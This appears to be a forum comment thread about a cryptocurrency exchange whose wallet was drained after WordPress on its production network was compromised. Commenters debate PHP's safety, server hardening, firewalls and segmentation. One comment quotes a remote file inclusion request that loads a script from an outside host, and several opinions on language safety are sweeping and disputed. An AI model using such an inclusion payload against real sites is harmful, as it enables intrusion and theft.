Bitcoin exchange hacked via WordPress hosted on production machines
allcrypt.com
allcrypt.com
Why on earth would you have Wordpress hosted in the same network as the one with access to your critical infrastructure?
That wouldn't fly in any finance shop, and they at least they have insurance.
I'm being serious. Unless you have Facebook's resources (and probably not even then) DO NOT USE PHP FOR ANYTHING THAT REQUIRES SECURITY! If you are, start a migration process today. Whatever you think it'll cost, it'll be worth it.
If you cannot decide from the billions of choices out there, go with Go. It's hardly perfect, but way better and simple.
2. That Go is designed as a programming language.
2. This is saying nothing. C is designed as a programming language but it's certainly possible to shoot your foot off with it as well. Go isn't going to protect you from using exec in a dumb way, or from unsanitized data by default, or by screwing up your file outputs.
Having said this, I've found limited proof that a particular language is any safer than another as it comes down to safe coding policies and risk mitigation strategies.
Proof is right there in the article. To have PHP on the live server is a security risk, period.
If an attacker can get a shell they would still need to have access to a exec environment and / or breakout of a "jail" or other protected space. Protecting your data store can prove tricky but there are quite a few products and techniques that basically reduce the amount of data that can be breached by any one attack vector (database firewalling, query filtering, etc).
Tidying up an OS + middleware (and having a decent L7 firewall) is sufficient to deter most attacks which is all you can hope for unless you can afford a good security architect and a response team and even that does not guarantee 100% security.
Obscurity, by itself, is not a solution but is often one of the most effective tools to deter simple attacks.
There are numerous things you could remove from an OS install to make their lives a bit harder (dtrace, systemtap anyone? you can sniff passwords easily...), but once they have a shell and a directory with write access it's game over. You're better off leaving the tools there but having your auditing throw a serious fit when a compiler, etc is executed unexpectedly on a production box.
So yes, I think it's bunk to claim that removing a compiler will provide meaningful security benefit. In fact, I believe this has been suggested a few times to FreeBSD by users (don't install compilers, etc by default!) and was dismissed as ineffective for the same reasons.
Work harder to prevent the bad guys from getting that far. Keep your systems well patched. Have a thorough auditing and monitoring system in place. Use containerization and segregation everywhere possible. Limit scope of access. Some points you made apply here as well. Maybe once you've mastered all of those arts you can play with the obscurity angle.
edit: and L7 firewalls... I'm on the fence there. There has been some movement in that area by security researchers equating them to antivirus... they're only as good as their definitions, and a targeted attack will bypass it. They also seem to give a false sense of security and let people be lazy. Security in layers is important, though.
edit2: don't get me wrong, you should be hardening your production boxes (and dev... so the environments match...) but removing a compiler is not high on my list
My experience has been 80% + in Solaris and OVM for SPARC (also some AIX with LPARs) and I am not aware of any exploit that breaks the non-global zone security boundary to the control domains or other NGZs. I'm fairly sure I haven't seen any in FreeBSD either but I could be wrong here.
In Linux, I am aware of privilege escalation exploits involving symlinks and complied objects (out of the top of my head, might be old or inaccurate) but overall the thinking goes that having a compiler available opens up a few extra attack vectors while not having it installed doesn't break anything at all.
I published an entry level article on building a gold image with ubuntu where I try to map some best practices and my experiences here: https://blog.ukigumo.eu/anatomy-of-a-gold-image/ I never got around to publish the rest of the series but still plan to, so feedback is welcomed. Maybe I should point out that I'm not exactly a sysadmin though :-)
Regarding L7 firewalls, I have recommend that they are installed and _used_ in all environments I've worked in (banks, insurance companies, payment services providers, stock exchanges, etc) and I do agree with you that often the feeling is that if they are installed and set to defaults it's good enough which is worrying but that's not to say that they should be abandoned.
Security is all about risk mitigation and all we can do is not to make it too easy for our platforms to be broken into and data to be lost, and I think if you dismiss obscurity you might need to try out something like setting up a couple of honeypots with commonly used services in your network (one with default ports one without for instance) and keep some notes of your experience :-)
I would estimate PHP is inherently more dangerous than C.
PHP code can be as secure as anything else, in my experience, but the end state solution has to take into account the possible risks and mitigate them accordingly.
Putting it in another way, would you say it's more dangerous to have a DB and java appserver running on the same "server" or having a PHP application in one box in one network segment and a DB server in another box, different network segment and with different privileged credentials?
Yet that seems to be the default configuration for many PHP installations unless you specifically guard against it it. A common PHP vulnerability is just the user uploading a php file and then accessing it.
(edited for clarity)
>A common PHP vulnerability is just the user uploading a php file and then accessing it.
A common PHP vulnerability is allowing uploads to a folder where code is allowed to be executed. That isn't a fault with the language but with lazy developers and admins.
IMHO, C cell defined semantics makes it simpler to master. PHP is an easy language to get stuff done, but a pretty hard one to master, I would say possibly harder than C. E.g. very few people actually make no mistakes about the behavior of the == operator... (http://habnab.it/php-table.html)
C is safer in the sense that it filters out the incompetent better than most languages, people which don't have a decent understanding of it are unlikely to produce something that doesn't crash fast if it even compiles.
PHP permits anyone to be somewhat productive, that's good in some cases, but in most cases you want someone who understand what he's doing...
C certainly doesn't filter out incompetent developers at all. The fact that it is less popular means it is naturally filtered out these days with most people who work with it being older but there are plenty of incompetent C developers building internal software all over the world even today. I mean if you checked any internal codebase written in C today you're likely to still find multiple places where the developer has shot themselves in the foot over memory management. It wasn't that long ago that people were speaking the same way about C programmers because of all the exploits/simple bugs years after STSFFAP was released.
>PHP permits anyone to be somewhat productive, that's good in some cases, but in most cases you want someone who understand what he's doing...
In most cases you don't have a choice so it doesn't matter which language you give them.
This is absolutely nothing compared to the incredible stuff you can see auditing the average PHP code base... Most PHP programmers don't understand all the implicit conversions taking place, and that's a source of many bugs. I can't really blame them as many of them make no sense whatsoever. PHP is a really hard language to master, and most people that put the effort actually start to see PHP for what it is and go to a less insane language...
Using [your favorite scripting language] doesn't magically make things like SQL injection and other bad practices go away. There are ways to mitigate those issues by using frameworks in those languages - but really the issue here isn't "OMG PHP SUCKS" but rather Wordpress sucks for allowing something like this work:
> wpadmin.php?include=http://someothersite.com/some-bad-script.php
I have seen that numerous times in my logs. There are settings in PHP configuration where you can actually prevent external downloading of scripts.
However, ignoring the scripting language itself - the server itself could have mitigated behind a firewall and not allowing any outbound web browsing (obviously inbound 80 needs to be open - but there is no reason why it should be allowed to "browse" the web). Or even more limited outbound connection.
Go browse some github projects (obviously those not using a framework) by random people in different languages - you will see that given the opportunity people will still do stupid things - even if the language makes it really hard to do it - as the saying goes "life finds a way".
PHP has been a security problem from day 1. Wordpress has only increased the scope of attack surfaces, as well as introduced a popular application which is itself susceptible to compromise. I've seen arguments that PHP is the root cause of those application vulnerabilities, but I tend to aim even lower and point to application developers who use PHP.
Unless your core app is in PHP and all your efforts go to securing that thing, there is no justification for allowing PHP on a production network. It is not a trivial thing to secure.
I thought PHP would be great, when I was a junior sysadmin with programming aspirations and that CGI stuff looked like a hot mess. Today, I recognize it as a fractal of bad design.
What features of other languages make them inherently more secure than php? Do you know of any that aren't admin issues? Yourself and the other person in this thread loudly claiming php is the reason for this are both doing the same thing. Handwaving around bad language design without pointing out anything concrete about security. Do you know the answer to the question or are you just parroting?
That's utterly comical. It makes me think there should be a The Onion for crypto/infosec news because I haven't laughed that hard in a while. I feel bad for them but thinking they could run a cryptocurrency exchange with a solid zero on the scale of zero to having a clue about security was pure hubris on their part.
Also the author's level of denial about their incompetence is incredible:
"Even the most secure systems can be circumvented with enough time and ingenuity."
"And we were secure and solid for a year..."
"Well, due to some apparent exploit in wordpress, someone, somehow, got into the server tonight, installed some files, and managed to empty the goddamned BTC wallet. Best I can tell it was something with that worthless pile of shit software wordpress." (earlier notice on allcrypt.com)